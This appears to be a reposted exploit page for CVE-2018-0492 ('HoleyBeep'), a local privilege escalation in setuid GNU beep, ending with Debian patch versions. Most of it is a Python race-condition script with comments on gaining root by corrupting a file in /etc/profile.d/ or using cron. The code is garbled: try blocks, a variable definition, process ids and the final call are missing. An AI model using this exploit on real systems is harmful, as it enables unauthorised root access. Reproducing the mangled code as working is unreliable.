GNU Beep 1.3 CVE-2018-0492 – HoleyBeep Local Privilege Escalation

Authors:Pirhack                Risk:High
CVE:CVE-2018-0492             0day:Local Privilege Escalation  

Exploit-id:Exploit-0492        Date:2018-04-14


Johnathan Nightingale beep through 1.3.4, if setuid, has a race condition that allows local privilege escalation.


#!/usr/bin/env python3
# E-DB Note ~
# E-DB Note ~
# This is an exploit for HoleyBeep.
# To use it, place any command you want root to execute in `/tmp/x`.
#    ```
#    $ cat /tmp/x
#    echo PWNED $(whoami)
#    ```
# The exploit takes a path to write to (the file must already exist) and rewrites its first bytes to /*/x. This means that if it's a shell script, it will execute /tmp/x as its first and only command.
# To gain root access, the idea is to use the exploit to overwrite any file in /etc/profile.d/ so it will execute /*/x on the next login, possibly as the root user.
# Variants are possible using cron instead of the shell, so you don't have to wait until root logs in.
import argparse
import shutil
import os
import subprocess
import time
import signal
import ntpath
def backup_output(path):
    backup_path = ntpath.basename(path + ".bak")
    if os.path.isfile(path):
        shutil.copy(path, backup_path)
        print('Backup made at \'{}\''.format(backup_path))
def main():
    parser = argparse.ArgumentParser(description='Holey beep exploit script.')
    parser.add_argument('output', metavar='OUTPUT', help='the output file to corrupt')
    parser.add_argument('--path', default="/usr/bin/beep", help='path to beep')
    parser.add_argument('--time-low', default=6000, type=int, help='time to wait (micro-seconds), lower bound')
    parser.add_argument('--time-high', default=6900, type=int, help='time to wait (micro-seconds), higher bound')
    parser.add_argument('--no-backup', action='store_true', help='doesn\'t backup the output file')
    args = parser.parse_args()
    if not args.no_backup:
    devnull = open("/dev/null")
    timer = args.time_low
    while True:
        # Create original symlink
        except OSError:
        os.symlink("/dev/input/event0", TMP_PATH)
        # Open subprocess
        p = subprocess.Popen([args.path,  "--device", TMP_PATH, "-l", "1", "-n", "-l", "2016356911"], stderr=devnull)
        time.sleep(timer/2 / 1000000.0)
        # Replace symlink
        except OSError:
        os.symlink(args.output, TMP_PATH)
        time.sleep(timer/2 / 1000000.0)
        # Trigger SIGINT
        os.kill(, signal.SIGINT)
        # Kill process if it's sill alive
        time.sleep(200.0 / 1000000.0)
        os.kill(, signal.SIGKILL)
        # Verify result
        with open(args.output, 'rb') as f:
            data =
            if data == b'/*/x':
        timer += 1
        if timer > args.time_high:
            timer = args.time_low
if __name__ == '__main__':


For the oldstable distribution (jessie), this problem has been fixed in version 1.3-3+deb8u1. For the stable distribution (stretch), this problem has been fixed in version 1.3-4+deb9u1. We recommend that you upgrade your beep packages

Leave a Reply